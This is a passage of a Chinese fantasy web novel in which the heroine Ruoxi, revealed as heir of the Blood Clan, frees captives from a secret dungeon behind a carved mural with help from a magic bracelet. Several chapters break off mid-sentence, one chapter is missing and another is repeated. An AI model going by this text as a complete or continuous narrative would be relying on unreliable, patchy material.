若曦冷冷地横了他一眼,继而哼笑一声,不屑地 道:“笑话,什么细作胆敢来龙帮主 第三百二十章:你以为你是谁? 龙烨一带领众人夹着尾巴狼狈不堪地离去,年轻守卫便迫不及待地疾奔出来一边鼓掌叫好,一边凑到若曦身旁对其连连称赞道: “姑娘,我就说方才眼看着都火烧眉毛了,你怎么还有心思在花园里采花儿,原来那花竟是一种毒草,你是拿它来对付龙烨的哇!不过,你这招偷梁换柱以假乱真,擒贼先擒王的招数可真是太厉害了!想那龙烨此回一定是被你整的够呛啊!” “哈,那一记响亮的耳光,超漂亮!就连在旁观看的人都觉着痛彻心扉呢!然那龙烨却似还一副极其享受,甘之如饴的样子,恨不得这耳光能再多来几下。像这种要求,我这辈子都未见过。还说什么‘打是亲,骂是爱’我呸……狗屎!阎罗王才与他打是亲,骂是爱呢,哼!” 那年轻守卫摩挲着自己的脸庞学的有模有样,似是感同身受般滔滔不绝着,最后还不忘朝着脚下一旁使劲狠狠地啐了一口,跟着若曦的脚步踏上了通往后花园的回廊上。 见此,若曦淡淡一笑道:“芫花是毒草,可也是药草。所以人们常说‘是药三分毒’,自是没错的。用对了,毒也能成为药治病救命,而一旦用错了,是药也会变成夺人魂魄的剧毒,枉送了性命。” 若曦这句话说的明明很清楚,然年轻守卫却摸着后脑勺硬是听得极迷糊,若曦看着他,嘴角又悄悄地露出一抹好看的弧度。 这时,年长守卫小心谨慎地又查看了一番四周,未见任何异常,便亦从回廊的另一头匆匆迎了上来,三人一齐朝柴房方向走去,年长守卫忽然忧心忡忡地道: “姑娘,这下你可算是彻底惹怒了副帮主,怕是他绝不会就此善罢甘休的。龙帮主外出至今亦还未归来,我总预感着恐怕是要出什么事情呢?依我看,眼下咱们还是得赶快想办法先把这位姑娘给送出骁龙会才是。只要她不在了,想必副帮主看在龙帮主的份上,应该也不会拿你怎么样的。” 闻此,若曦一边步履坚定地朝前走,一边认真严肃地道:“送,当然要送,但送的不止她一个,还有其他俩个…不,如今已是三个了,再加上柴房里关着的那个姑娘,这总共便是四条人命。如今,龙烨既已被彻底激怒,待他缓过精气神来,想必是一定要先处置他们四个的。况且,你方才没听柴房里的那个姑娘说,还有个人被龙烨的人用剑刺穿了整个腹部嘛。如今,我所最担心的是,若是再不救治那个人,怕是他一定会没命的!” 一念至此,若曦说着说着不禁缓缓放慢了脚步下来,最后顿足转身凝视着年长守卫的眼睛,几近于苦苦哀求的眼神道:“事已至此,难道你们还是不愿意带我去那个秘牢里么?机会难得,你心里应该比谁 都清楚,错过了这次,下次若是还想让龙烨上当,几乎是不可能的事了。这可是四条人命,‘见死不救非君子,见义不为枉为人’呢!” 闻此,一时间,年长守卫的内心防线也似是已开始乱了起来,遂有些烦躁地扬声反驳其道:“可你是女子,不是君子,你做不到那么伟大,四条人命又如何?你知道这个天下每天要发生多少天灾人祸?有多少战争发生?有多少人饿死?又有多少人无家可归么?你醒醒吧,你以为你是谁?你拯救不了全天下的!” 然若曦却依旧毫不示弱地迎着他愤怒的目光,正打算对其说些什么,脑海里却忽然浮起了在桃花店村时,老妇人对她所说的那席话来,情急之下,遂握紧了双拳,咬了咬牙,心一横,似是鼓足了勇气脱口即出道:“没错,我的确是个女子,而不是君子,亦做不到那般伟大。但我乃是血族之后,身为西秦国的守护者,守护西秦大地上的苍生万物是我的使命。所以,只要有我在的地方,我便不会让任何人枉送性命。我相信,只要心怀天下,拯救苍生便只在我们一念之间。” “你说什么…你说你是…西秦守护者?”闻此,俩个守卫顿时瞪大了眼睛一起面面相觑着,惊呆了。 “那日,在桃花店村里,从我体内所爆发出来的那股神秘力量,想必你们俩也都看到了吧!”若曦缓缓移开视线,独自微微侧身望着池塘边凉亭旁的一株垂柳严肃地道。 “西秦守护者真的没死,难道她真如传说中的那样不死不灭?那她的力量岂不是亦如传说中的那般……”年长守卫纳闷地回忆着惊叹道。 “怎样?这下我能不能去见识见识骁龙会的秘牢了呢?”若曦再次看向年长守卫的眼睛,催促道。 “可是,如果把他们都放了的话,那龙帮主回来,我们该如何交代呢?”就在年长守卫正犹豫不决地挣扎之时,年轻守卫忽然皱紧眉头开口问道。 “龙大哥临行前,既然已经将他的令牌和钥匙都交于我保管,证明他已是足够信任我方才如此,如若不然,又岂会如此为之?话说回来了,若是我拿着他的令牌,却大小诸事皆不管不顾,任由龙烨在骁龙会里胡作非为,滥杀无辜,那他才会真的失望,责备于我呢,不是吗?”若曦解释地似是完全无懈可击。 第三百二十一章:仅差一人 阴森冰冷的骁龙会石窟地牢里,万籁俱寂。 一个沉沉幽暗的角落,看不到白日,亦不见星夜。 只在那片微弱的灯火照耀下,隐隐约约现出来半边被沉沉的铁锁链死死扣着的黑色铁牢门影子来。 门外,各自把守在一明一暗门两边的俩名守卫如同两尊从天而降的天兵天将般杵在那里,无论周围发生了什么,始终都默不作声,不闻不问亦不为之所动容半分,仿佛这喧嚣尘世里的纷纷扰扰与世人的疾苦皆都与他们无关似的。 所有一切,都静的那样可怕,仿佛此处是一片毫无生机的恐怖渗人的坟墓一般。 牢门里面,王二与燕儿俩人在那四周皆是同样苦寒渗骨的岩石上席地瘫着,一坐一卧。 俩人面色俱都一样的如纸般苍白,嘴唇干瘪,整个人毫无一点血色与生气,气息微弱地似是随时都可能会抽走那仅存的最后一丝一般。 此时,王二似是早已经支持不住背靠着石壁昏睡了过去,而燕儿亦瘫倒在地上侧卧着,双臂紧紧搂着自己的上身,双腿紧紧蜷缩起,整个单薄瘦小的身子不停地打着颤,牙齿上下咯噔咯噔直打架。 在她仅剩不多的微弱意识里,只觉得自己好累好累,好想闭起那副沉重的实在已无法支撑下去的眼皮来。她神情淡漠,两眼一眨不眨地直勾勾盯視着那盏忽明忽暗的油灯,不知何时起竟已开始出现了幻觉。 看着看着,她竟忽然笑了起来,笑得那样好看,那样幸福,那样满足,嘴里似还在断断续续地发出着弥留之际一般的喃喃之音来:“小姐,你终于来了!...燕儿就知道,一直都知道,小姐一定会来救燕儿的!...太好了,燕儿终于找到小姐了...燕儿还以为...这辈子...再也见不到小姐了!呜呜呜……小姐,永别了...下辈子...燕儿还要服侍你!” 就在她话一说完,终于缓缓地闭上了那双绝望,又疲惫不堪的眼睛来,恋恋不舍却又无可奈何不得不放弃那最后一丝等待,泪水顿时顺着她的脸庞轻轻滑落。 就在这时,门外身处在黑暗一边的那名守卫忽然莫名地倒在了地上。 听到从未有过的异样声音,另一名尚还不知发生了何事的处在微光照耀下的守卫刚一扭头朝其看过去,只见一道黑影如一束光般从他眼前飞速掠过,随之自己便亦跟着“扑通”一声重重地倒在了地上,顿时失去了知觉。 而刚阖上眼来,迷迷糊糊中,燕儿忽然弱弱地听到了似是牢门上的粗铁链被人打了开来,自己却已无力再睁开眼来瞧一下。 这时,只见一双女子的纤纤玉手从黑暗里忽地一下附到了铁门上来,继而便一步上前进到了门里,忙低头朝里仔细一看, 一搜索到地上已然被折磨的不成人形的燕儿的悲惨模样,女子惊愕地一把忙捂了自己的嘴,不住的摇头着,眼里瞬间溢满了泪水,继而大步朝其扑了过去,将燕儿的上身一把抱起,一边仔细端详打量着她周身,一边痛哭流涕着道:“燕儿,好燕儿,我可算是找到你了,可你这是怎么了,你怎么了呀!” 见此,与女子一同刚刚赶到这里的若曦朝地上奄奄一息的俩人凝视着只怔了一瞬,便忙吩咐身后的年长守卫赶快过去将王二平卧下,自己亦疾步跟上前去翻了翻俩人的眼皮,又给予各自仔细地把了把脉,遂眉头紧蹙着道:“快去找些热水来,他们这是因为禁水禁食太久,加之这里的环境太过恶劣,虚脱所致,得赶快先给他们喂些温水才行。” 兰香眼巴巴地看着若曦,一听她的话,顿时更加心疼地搂紧了燕儿的肩膀,将其拥入怀中泣不成声道:“燕儿,你醒醒,醒醒啊!你看谁来了,你快睁开眼睛看看啊,你不要吓我。你整日里心心念念的小姐,她真的还活着,她现在好端端的就在你面前,你倒是快睁开眼睛来看看她呢!燕儿啊……” “热水来了,热水来了,真是太可恨了!水就在牢门外的墙角案几上,左不过十几步的距离,伸手可得。可这俩个家伙却眼睁睁看着任由他们自生自灭,即使是被渴死亦不拿来给他们喝,我这就去取了那俩个家伙的狗命。”年长守卫很快便捧着两碗热水回来咬牙切齿地说着,一放下手里的碗,便扶了扶腰间的佩剑,气的转身想要出去杀人。 若曦遂接过其手里的碗,将其中一只递给兰香与其略作交代,继而忙立起身来朝其背影怒斥阻止道:“好了,你还嫌我们现在不够忙么!杀了他们有什么用,他们也都只不过是奉命行事而已。” 看到年长守卫忽然止住了步,若曦方才上前去将手里捧着的另一碗热水递到他手里,对他和气地说:“将这碗水赶快给他慢慢饮下,莫要再乱杀无辜了!” 年长守卫这才转身将其接过,三两步便朝目标走了过去,撩起袍角来席地而坐,又轻轻搬起王二的脑袋来让其舒适地枕靠在自己的腿上,与兰香一道各自照料一人饮起水来。 而若曦亦摇了摇头,兀自疾步回去蹲下身来,从袖兜里掏出银针开始先针刺起俩人情况相对比较危急的王二的合谷,足三里等穴位来。 不知过了多久,明明阴冷昏暗的地牢里,若曦的额头却渗出了密密的细汗来。 &nb 第三百二十二章:壁画《开天辟地》 “骁龙会的密牢有两处,一处便是静谧沉沉,阴森潮湿,暗不见天日,足以令人在此发狂的这里,另一处……” 年长守卫想了想,刚一开口,若曦便着急地上前问:“另一处密牢在哪儿?” “一个…与壁画有关的地方。”年长守卫看向她的眼睛,神秘地道。 “与壁画有关?”若曦皱了皱眉,不解地重复道。不经意间朝外扭头一望,借着牢门外昏暗的烛火微光照耀,顿时便被那石壁上隐隐现出来的巨大浮雕影子所吸引,她忙迈开步朝其奔了过去。 年长守卫见了,伸手一拾起旁边的油灯来便紧随其后跟了过去。 而一旁,如今已然恢复了许多体力的王二则急急朝着四下里张望了一眼,继而快步朝着远处有微微亮光所发出的地方走去。 “你要去哪儿?这里很危险,你快回来!”见此,兰香扶着尚还有些虚弱的燕儿,着急的朝其背影大声疾呼道。 并未过多久,便见他寻回来好几盏油灯,兀自递给燕儿和兰香各一盏,生气地道:“原来拐过弯,那里甚是一片灯火通明呢!这灯莫不是用来给人照亮,而是留给鬼的么?” 一边说着,三人一道亦上前去帮忙。 伴随着一盏盏齐聚过来的星星之火将若曦的周围瞬间点亮,她这才看清楚了自己所正在身处的周围之奇异环境。 原来,石窟的底部距离他们方才从东苑后花园的翠竹林密道里,借由绳索滑下来的地面竟约摸有数丈之高,那些支撑着石洞的石柱上都雕着飞龙在天的图案,彰显至尊与威严。再加上此刻现于眼前的这石壁上的浮雕壁画,霎时间使得借由这个石窟而筑成的地下密牢神秘极了。 若曦惊讶地在原地里转了一圈环顾四周后,最终将目光定在了眼前的壁画上朝其细细看去,却不禁瞬间蹙起眉头来朝其瞪直了一双好看的眼睛,遂木讷地问那举着油灯近身迎上来照亮的年长守卫:“你说的...便是这副壁画?” 等不及其回应,她早已忍不住颤颤地伸出手去,一寸寸轻抚探究起这面冰冷,亦令人触目惊心又叹为观止的浮雕画来。 在这壁画一角上,雕刻着一群正抱头蜷缩成一堆跪倒在地上,看起来衣着打扮既不像是出身官宦亦不像是普通平民,却俱都手无缚鸡之力,此时一个个神情有如惊弓之鸟般极度恐慌的老弱妇孺。其中,有一丫鬟装扮的年轻女子怀里还抱着一尚在襁褓之中,吸吮自己胖嘟嘟的手指的女婴。而在他们面前,则是一伙个个身披战衣铠甲,面目狰狞,正举刀霍霍欲向他们头顶上坎去的将士猛汉。 见此,若曦愤怒又不解地道:“这些都是什么人?竟如此残忍,连这些手无寸铁的老弱妇孺亦不放过 。” 年长守卫没有说话,只是叹了口气,继而将手里的油灯往后挪了挪,若曦便忙凑了过去,竟又看到了在那些马蹄的践踏下,横七竖八地躺满了一地或平民,或兵将的壮年尸体,其死状各异,令人顿时间不寒而栗。 若曦震惊极了,她看着身旁的年长守卫怔了一下,兀自激动地一把夺过了他手里的油灯,自己朝后一一细细看去,却是越往下看,越是疑惑,不明所以。 就在距离那队雄赳赳,气昂昂,勇猛凶残的兵马身后不远的地方,出现了一道雄伟高大的城门。然让人惊奇的却是,那城门竟无人把守,任其随意大敞着。 透过壁画能看到整座城内外明明有着万里连绵起伏的大好江山,和那浩渺的江河湖水,然此时却貌似是一座空城一般到处荒无人烟,一片死寂。 “等等,这是什么?”就在她一边纳闷着,一边欲要将手里正举起的油灯移动方位继续往下看时,忽然似是发现了什么,便忙又退了回去,朝着城里面仔细看了去。 这次,她终于瞪大了眼睛将城内的情形看的清清楚楚。原来,那袅袅升起的,并不是炊烟,而是许多地方都弥漫着的滚滚硝烟,甚至还夹杂着些正在燃烧的熊熊烈火,和在那微光下极不易被人发觉的尸横遍野、其中更多的却像是饿殍满地的惨状景象。城门前高大的桅杆上,竟还匪夷所思地挂着几具干尸。 看着这一切,若曦一脸惊愕。暗自想了想,却全都疑惑重重,似是怎么都解释不了,遂便看向了年长守卫的脸,兀自显得很是悲愤地道: “这座城,到底发生了什么?莫非,城外的那群战战兢兢的老弱妇孺,他们是仅剩的几个从这座城里逃生出来的人吗?那这伙士兵又是谁?是和这些百姓一样来自那座空城?还是洗劫了这座城的另一方势利呢?还有这座城本身,它看起来明明风调雨顺,却怎么会饿死这么多人?到处尽是战火连天的人间炼狱般光景呢!” 这时,年长守卫接过了若曦手里的油灯,将其照在了壁画的主题所在处,道:“你看看这幅壁画的题名。” “开天...辟地?”若曦遂顺着他的指示看过去,一见到那几个龙飞凤舞的浮雕字样,便深深地蹙起眉来甚觉讽刺地道:“简直荒唐至极,不知作这壁画之人为何会如此题名,这明明就是 第三百二十三章:神秘的虚洞 “这个地牢,本是血族的地牢,后来血族被灭后,这里便空着了。有一次,被龙帮主发现,便成了骁龙会的密牢。”年长守卫环顾了一眼四周,道。 听了这一切,若曦自是震惊不已,俩人一起默了会儿,若曦刚整理好的心绪,却忽地缓过神来用极其异样的眼神盯着年长守卫的脸。 半晌后,开口问他:“你究竟是谁?怎么会知道这么多!” “我…我是听龙帮主说的。”那年长守卫闻声亦似是刚刚经历了一场身临其境的大梦般方才清醒过来,顿时朝其一愣,转口却道。 “真的吗?”若曦看着他那极不易被人发觉的有些飘忽不定的眼神,心中隐隐浮起一丝质疑,如此机密的事情,岂会是一个守卫能知晓的如此清楚的? 不过无论如何,看来这血族还真是一个命运多舛又神奇的贵族。如此一来,也就刚好应证了那位老太妃所说的一切并非虚言。如若自己真的就是那血族唯一的后人的话,为了天下苍生,她势必亦要以命来继续守护这片来之不易的大地与那有情有义的西秦天子之后。 可如果她是,为何会没有凤凰印记,如果她不是,又缘何体内会爆发出那股莫名的神秘力量来。城隍庙玄空大师…… 不经意间,她将目光忽瞥向了壁画另一头虽然身体孱弱,却拼尽全力高举着手中的油灯为她照亮的燕儿和她身旁一直不离不弃搀扶关切着她的兰香,默默出了会儿神,继而轻抿了下唇瓣,低声喃喃道:“当然,还有那俩个哭哭啼啼,傻乎乎的小丫头,她们又怎么说我是什么城西衣府的小姐?” 可见,即使不必服用那什么还魂丹,她亦一定能够将这些失去的记忆慢慢找回来,她其实并不贪心,只是心里总是隐隐觉得,那个执念对她很重要,很重要。 来不及多想,因为眼下最重要的事当然是救人,也不知道那个冷峻男子的伤势怎样了?一念至此,若曦紧接着问:“那另一处密牢究竟在何处?与这副壁画有何关联?” 年长守卫遂转身看向了面前的画壁,幽幽道:“另一处密牢就在这壁画后面,一滩碧绿的深湖湖底。那本是血族关押重刑叛徒的地方。当年的那个巫医族细作便是被关在那里,直至其魂飞烟灭。如此看来,龙烨是真的恨透了那个人,方才将他亦关在了那里。” “那要怎样才能到达那里?”若曦紧紧皱着眉一边听,一边在壁画上寻了许久,却并未见到任何机关,于是便问道。 “喏,只要开启了眼前这道浮雕石门,顺着密道一直走,便能到达那处密牢里。” 听了年长守卫的话,若曦恍然大悟:“原来这面浮雕壁画乃是通往另一密牢的门户,那如何才能将它打开?” 看到他只一个劲对着那壁画默默摇头,若曦心里不禁有些诧异地问:“你不知道?” 年长守卫轻叹口气,这才开口说话:“不是不知道,而是没有用。自从血族被灭族之后,能开启这道石门的钥匙世间便仅存只有一把了。龙帮主当初见这壁画颇为残忍,其背后的密牢更是阴森邪恶,本想将其连同钥匙一同毁掉,但被那居心叵测的龙烨想尽办法骗了去。从此,便一直被龙烨视若珍宝一般颇为秘密地保管着,我们根本不可能拿到!” 这时,王二、兰香与燕儿三人亦都已从宽大的石门两旁向着久久停留驻足在壁画中间位置,不再动弹的俩人身边靠了过来。 燕儿的目光注视着那壁画上紧紧搂着怀中女婴的婢女腋下,似是襁褓里的女婴顽皮地蹬出了一条赤着小脚丫的腿腕上发起愣来。只见她忽然像是着了什么魔一般,紧紧盯视着那个女婴的位置朝其缓缓迈步了过去。将那双大大的眼睛凑的极近颇为认真地看了许久,瞬间似是想到了什么,猛地回过神来疾步回到若曦的身旁,一把掀起她的袖口来亮出了其手腕上的七彩金丝彩玉镯子,道:“小姐,你看那女婴腿腕上套着的那只镯子,像不像你的这只呢?” 闻此,所有人的目光全都聚集在了若曦的手腕上,大家看看若曦的镯子,又看看画壁上女婴腿腕上所套的那只镯子,然后又彼此之间你看我,我看他,继而一齐全都朝那壁画上的镯子边涌了上去。 顿时间里,一室寂静,年长守卫最先对比清楚了两个俨然完全相同的手镯后,却忽然瞪大了眼睛看着若曦,炸开声道:“你真的是血族之后!” 若曦闻声,顿时转身看向他有些微微上扬的眼角,似是颇为不解他因何忽然如此激动,年长守卫遂解释道:“上次我见你在桃花店村里发出那股神秘的强大力量时,你的手镯亦曾发出来强大的一道紫芒。如今,这壁画上的血族遗孤与你竟有一模一样的镯子,世上怎么可能有那么巧的事?不,不,不,这一定是,一定是...这个镯子,一定便是传说中血族的传世圣物了。你真的是血族之后,你真的是血族之后......” 年长守卫霎时间里欣喜若狂,只见他退回了几步,用力搓着自己的双手一边在一旁来回踱步,一边嘴里不停地重复着。而另一旁的燕儿等三人,更是看着他此时的一反常态,早已不明所以 第三百二十五章:萤火之光 “天呢!”黑暗中,只闻若曦忽然惊叫了一声,同时一把捂了自己的嘴。 原来,那竟是一副瘆人的绞刑架。上面还被拉成个大字正绑着一具低垂着脑袋,披头散发的一袭黑色夜行衣,看其体型,应是名七尺男儿的身体。 瞬间将若曦吓了一跳,连连后退了数步,缩成一团直至背贴在牢门上已再无路可退。心中油然而生出一种极度的恐惧,眼神似是本能般地逃离开那名男子身上,忽一低头,却瞥见了脚下有一行斑斑血迹。 见此,她蓦然回过神来,这才意识到,怕是眼前这副尤为凄惨模样的男子便就是自己正在寻找的人了。于是,她又再次忍住恐惧上前去朝其伸手将其腹部扫照出一点亮光来探了探。 果然,男子的腹部确实有被一利器刺的甚是严重的伤口,那伤口处早已尽是一片血肉模糊的样子。 而她这时才恍然大悟,原来,她竟被那神奇的虚洞带着穿越了那道石门。思及此,她忙托起手腕来看着那套在其上面如盛夏夜里的萤火虫般,正发出着一闪一闪的七彩光芒的玉镯,欣喜地自言自语道:“这真是太神奇了!” 忽一回神,她深吸了口气,忙弯腰下去一拾起男子面前的利剑来,便疾步上去狠狠将那捆绑他四肢的绳索一一干脆麻利地劈断开来。 这才急急俯身下去,将男子翻了个个儿让他平躺着,拨开其乱发方才看到他早已一脸苍白、身体到处亦是冰冷异常。 于是,若曦急忙翻了翻动他的眼皮,又把脉仔细探了探,查看了腹部的伤口后,遂一边撕扯着自己裙摆上的布带,一边口中甚感庆幸地道:“还好只是因为失血过多晕了过去,并未伤及内脏,否则后果就不堪设想了。得先替她包扎好伤口才行。” 虽然光线极为不好,但她依旧还是动作极为娴熟的很快便帮那已陷入沉沉昏迷中的男子细致地包扎好伤口,又拿出银针来在其身上用手一边摸索着寻穴,一边施起针来。 不知过了多久,男子终于手指微微动了动,缓缓睁开了那双此时显得孱弱无力又甚为疑惑的眼睛来。 若曦一察觉到他清醒过来,便激动地道:“你终于醒啦!幸亏你是个练武之人,这要是一般人遇上,怕是早就没命了。你再稍微歇一会儿,等再多恢复点儿体力,我一定会带你离开这里的!” “这是哪里?”男子昏昏沉沉吃力地坐起身来,看了眼漆黑的周围不解地道。 “这里是骁龙会的密牢,你被龙烨关起来了!”若曦亦扫了一眼始终漆黑如墨的周遭,答道。 闻此,男子这才想起方才在西苑里所发生的一切,眼里不禁流露出无尽的悲伤来,缓缓闭上了眼睛。遂一回神睁眼又疑惑地问:“那你...你又怎么会在这儿,你是?” 若曦遂将手镯靠近到自己的脸庞,男子这下一眼便认出了她来,惊声道:“你是…那位姑娘!” “好了,别说话了,储存体力,我扶你赶快离开这儿吧。” 听了若曦的话,男子点点头,颤颤地对其致谢道:“谢谢你!” 若曦笑了笑,遂将其吃力地扶起身来,又捉起男子的胳膊架在自己瘦弱的肩上,一起跌跌撞撞地迈步出门开始四处摸索着寻找返回的路…… 浮雕壁画石门外,燕儿听了年长守卫对众人所讲的若曦与血族、西秦守护者以及眼前的这副浮雕壁画的关系,早已震惊地瘫坐在地上,将其半边脸紧紧地贴在冰冷的石门上靠着黯然神伤,泣不成声,断断续续地道: “你们都是骗人的,她只是我家小姐而已。什么血族之后?什么西秦守护者?燕儿从未听人说过,我不相信,死都不信!” “小姐,你快回来吧!你回来亲口告诉燕儿,他们这些人都是居心叵测,胡说八道的,对不对?” “小姐,燕儿跋山涉水,千辛万苦,好不容易刚找到了你,你怎么又将燕儿丢下了呢!小姐,你不要撇下燕儿,你回来,你回来啊!” 看到燕儿如此痛彻心扉,撕心裂肺地哭泣抹泪,亦是同样对年长守卫所言不敢置信的兰香蹲在燕儿身旁,搂着她的肩劝慰道:“燕儿,你快起来,这个石窟里太过冰冷,你这样会冻伤自己的,你这个丫头,怎么和你家小姐一样拗呢……呜……” 嘴上明明是在劝别人,却是自己话未说完,亦跟着燕儿担心难过地哽咽了起来。 “大哥,刚才到底是怎么回事啊?若曦姑娘到底有没有危险?他还能回来吗?我还要带她回去村里跟大家交待呢?她可不能……唉!”王二在年长守卫的耳边叨个不停,然年长守卫却始终一副呆愣的表情痴望着若曦消失的地方,一言不发。 王二气的只能叹了口气后,索性烦躁又无奈地退到一边一屁股蹲了下去靠在燕儿背后,苦道:“这到底是怎么回事啊,莫非是撞鬼了不成。这好端端的一个大活人,怎么说消失就消失了呢?” 很长一段时间的一室寂静后,兰香看看失魂落魄的燕儿,又看看身旁气的似是都在哆嗦的王二,又回头瞥了眼目光木讷的年长守卫,兀自吐了口浊气,开口说道:“依我看,我们还是想想办法,去找龙烨的钥匙将这石门打开吧。若不是如今他已识破了我的目的,命人四处捉拿我,我一定会有办法找到钥匙的,可惜……” 这时,年长守卫终于低声自言自语了起来道:“她真的是血族之后,那镯子一定是血族的传世圣物,它一定是和主人之间有某种感应。危难时刻,它能释放出它的灵力来,带她的主人去她想去的地方,做她想做的事。一定是这样,一定是这样,她一定会平安回来,一定会回来的……” 一念至此,灵光一闪,他忽然兴奋地对所有人扬声说道:“石门里面的密道,就如同一张巨大的蜘蛛网,路线尤为错综复杂。里面的环境又到处都漆黑一片,毫无一丝光亮。快点,我们大家一起想办法,在石门上制造出一些声响来,越大越好,声音要连续不断,这样才能为她引路。” “可是,如果我们闹出这般大的动静,会不会引来外面的看守呢?”兰香疑惑道。 “这个不必担心,这座石窟密牢非常结实静谧,都是以极密的岩石筑成的。里面的任何声音是绝不会传到外面去的。若不是龙帮主为防龙烨有不轨之心而暗修密道,我们也绝不可能进来这里的。没想到,龙帮主还真是颇有远见呢!”年长守卫叹道。 闻此,所有人顿时起身,争先恐后地到处找来石块、铁棒等各种各样坚硬的东西往石门上使劲地敲击,亦或直接朝其砸去…… 石门内,若曦大汗淋漓地架着男子跌跌撞撞地艰难迈步,寻找着出路。 通过虚洞进入里面来的时候,她也是误打误撞,并不知怎么地便就找到了目标。尔今,想要找出出路来,显然是难上加难。 视线极度不好,又要照顾男子的伤病,若曦深感着实有些焦头烂额。这密道已然就是个湖底迷宫一般,怎么走,都走不出去。总是在自己所刻下的不同记号间来回徘徊着。 若曦忍不住心下有些烦躁,遂伸手拭了把汗,男子借着微光一看见,便驻足停了下来,一脸歉然地劝道:“真是有劳姑娘了,不如咱们歇会儿再试试看吧!” “也好,你身上还有伤,这样走下去也不是办法!”说着,便将男子扶着席地而坐了下来。 男子对其笑了笑,忽然侧耳警觉地似是听到了什么极弱的响声来,便示意若曦道:“快听!” 若曦亦在其身旁坐下,拭了拭额头的汗,这才侧耳细细听了去。顿时,她停下了手里的动作眉飞色舞激动地道:“是他们,一定是他们!” 忽地起身,听清楚声响来源的方位后,若曦一边将男子扶起继续赶路,一边道:“我们朝着声音发出来的地方走,一定不会错的。这是他们在外面给我们指引方向呢!” 就这样,俩人七拐八拐,迂回曲折,只听到那似是敲击石门所发出的连绵不绝的声响越来越近。 就在这时,若曦手腕上的七彩金丝彩玉镯子所发出的仅有的一点点萤火之光却忽然一下子彻底熄灭了,若曦顿足惊叫道:“咦,这是怎么了?关键时刻,你可不能开玩笑啊!” 俩人正在纳闷间,忽然不知从哪儿发出来一股强大的力量,像是一阵龙卷风一般将她整个人都卷至了半空中飞起来,周围一片漆黑,她根本分不清方向,只觉那速度之快,险些将她的魂魄都给逼出去了似的。 而待她再一睁开眼来见到那似是已久违了的亮光时,竟是已经身处在石门之外,仍正在拼命敲击着那道宽大雄伟的浮雕石门的一伙熟悉的身影之后。而那男子却已在她的脚下,再次昏迷了过去。 若曦热泪盈眶地默默看着眼前这温暖的场景,只觉自己恍若重生一般,她忽然柔声轻唤了一句:“燕儿……” 燕儿闻声,忽地一下转过了身去,直飞奔着朝其怀里扑了过去,紧紧搂着她的腰肢,喜极而泣道:“小姐……” 至此,在场所有人终于都长长的舒了口气。 第三百二十五章:萤火之光 “天呢!”黑暗中,只闻若曦忽然惊叫了一声,同时一把捂了自己的嘴。 原来,那竟是一副瘆人的绞刑架。上面还被拉成个大字正绑着一具低垂着脑袋,披头散发的一袭黑色夜行衣,看其体型,应是名七尺男儿的身体。 瞬间将若曦吓了一跳,连连后退了数步,缩成一团直至背贴在牢门上已再无路可退。心中油然而生出一种极度的恐惧,眼神似是本能般地逃离开那名男子身上,忽一低头,却瞥见了脚下有一行斑斑血迹。 见此,她蓦然回过神来,这才意识到,怕是眼前这副尤为凄惨模样的男子便就是自己正在寻找的人了。于是,她又再次忍住恐惧上前去朝其伸手将其腹部扫照出一点亮光来探了探。 果然,男子的腹部确实有被一利器刺的甚是严重的伤口,那伤口处早已尽是一片血肉模糊的样子。 而她这时才恍然大悟,原来,她竟被那神奇的虚洞带着穿越了那道石门。思及此,她忙托起手腕来看着那套在其上面如盛夏夜里的萤火虫般,正发出着一闪一闪的七彩光芒的玉镯,欣喜地自言自语道:“这真是太神奇了!” 忽一回神,她深吸了口气,忙弯腰下去一拾起男子面前的利剑来,便疾步上去狠狠将那捆绑他四肢的绳索一一干脆麻利地劈断开来。 这才急急俯身下去,将男子翻了个个儿让他平躺着,拨开其乱发方才看到他早已一脸苍白、身体到处亦是冰冷异常。 于是,若曦急忙翻了翻动他的眼皮,又把脉仔细探了探,查看了腹部的伤口后,遂一边撕扯着自己裙摆上的布带,一边口中甚感庆幸地道:“还好只是因为失血过多晕了过去,并未伤及内脏,否则后果就不堪设想了。得先替她包扎好伤口才行。” 虽然光线极为不好,但她依旧还是动作极为娴熟的很快便帮那已陷入沉沉昏迷中的男子细致地包扎好伤口,又拿出银针来在其身上用手一边摸索着寻穴,一边施起针来。 不知过了多久,男子终于手指微微动了动,缓缓睁开了那双此时显得孱弱无力又甚为疑惑的眼睛来。 若曦一察觉到他清醒过来,便激动地道:“你终于醒啦!幸亏你是个练武之人,这要是一般人遇上,怕是早就没命了。你再稍微歇一会儿,等再多恢复点儿体力,我一定会带你离开这里的!” “这是哪里?”男子昏昏沉沉吃力地坐起身来,看了眼漆黑的周围不解地道。 “这里是骁龙会的密牢,你被龙烨关起来了!”若曦亦扫了一眼始终漆黑如墨的周遭,答道。 闻此,男子这才想起方才在西苑里所发生的一切,眼里不禁流露出无尽的悲伤来,缓缓闭上了眼睛。遂一回神睁眼又疑惑地问:“那你...你又怎么会在这儿,你是?” 若曦遂将手镯靠近到自己的脸庞,男子这下一眼便认出了她来,惊声道:“你是…那位姑娘!” “好了,别说话了,储存体力,我扶你赶快离开这儿吧。” 听了若曦的话,男子点点头,颤颤地对其致谢道:“谢谢你!” 若曦笑了笑,遂将其吃力地扶起身来,又捉起男子的胳膊架在自己瘦弱的肩上,一起跌跌撞撞地迈步出门开始四处摸索着寻找返回的路…… 浮雕壁画石门外,燕儿听了年长守卫对众人所讲的若曦与血族、西秦守护者以及眼前的这副浮雕壁画的关系,早已震惊地瘫坐在地上,将其半边脸紧紧地贴在冰冷的石门上靠着黯然神伤,泣不成声,断断续续地道: “你们都是骗人的,她只是我家小姐而已。什么血族之后?什么西秦守护者?燕儿从未听人说过,我不相信,死都不信!” “小姐,你快回来吧!你回来亲口告诉燕儿,他们这些人都是居心叵测,胡说八道的,对不对?” “小姐,燕儿跋山涉水,千辛万苦,好不容易刚找到了你,你怎么又将燕儿丢下了呢!小姐,你不要撇下燕儿,你回来,你回来啊!” 看到燕儿如此痛彻心扉,撕心裂肺地哭泣抹泪,亦是同样对年长守卫所言不敢置信的兰香蹲在燕儿身旁,搂着她的肩劝慰道:“燕儿,你快起来,这个石窟里太过冰冷,你这样会冻伤自己的,你这个丫头,怎么和你家小姐一样拗呢……呜……” 嘴上明明是在劝别人,却是自己话未说完,亦跟着燕儿担心难过地哽咽了起来。 “大哥,刚才到底是怎么回事啊?若曦姑娘到底有没有危险?他还能回来吗?我还要带她回去村里跟大家交待呢?她可不能……唉!”王二在年长守卫的耳边叨个不停,然年长守卫却始终一副呆愣的表情痴望着若曦消失的地方,一言不发。 